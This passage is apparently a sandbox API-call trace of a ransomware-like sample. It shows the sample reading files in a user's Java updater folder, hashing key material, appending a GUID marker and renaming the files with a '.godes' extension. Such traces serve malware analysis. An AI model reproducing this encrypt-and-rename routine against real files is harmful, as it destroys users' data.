lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x25805, lpOverlapped=0x0) returned 1 [0115.055] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.055] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.055] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.055] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0115.056] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.056] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.056] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.056] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.056] GetLastError () returned 0x0 [0115.056] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.056] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0115.057] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8e062, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.057] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.057] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.057] CloseHandle (hObject=0x624) returned 1 [0115.065] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab.godes")) returned 1 [0115.066] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 1 [0115.066] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi") returned=".msi" [0115.066] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.068] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=185344) returned 1 [0115.068] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.070] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2d3da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.070] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0115.072] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.072] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x25805, lpOverlapped=0x0) returned 1 [0115.073] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.073] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.073] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.073] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0115.074] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.074] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.074] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.074] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.074] GetLastError () returned 0x0 [0115.074] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.074] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0115.075] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2d400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.075] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.075] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.075] CloseHandle (hObject=0x624) returned 1 [0115.078] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi.godes")) returned 1 [0115.079] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 0 [0115.079] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.079] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33215f8 [0115.079] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.083] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.083] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.083] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.083] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.083] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.083] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.083] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.083] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.083] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.083] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.083] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.083] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.083] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.083] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.083] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.085] HeapFree (in: 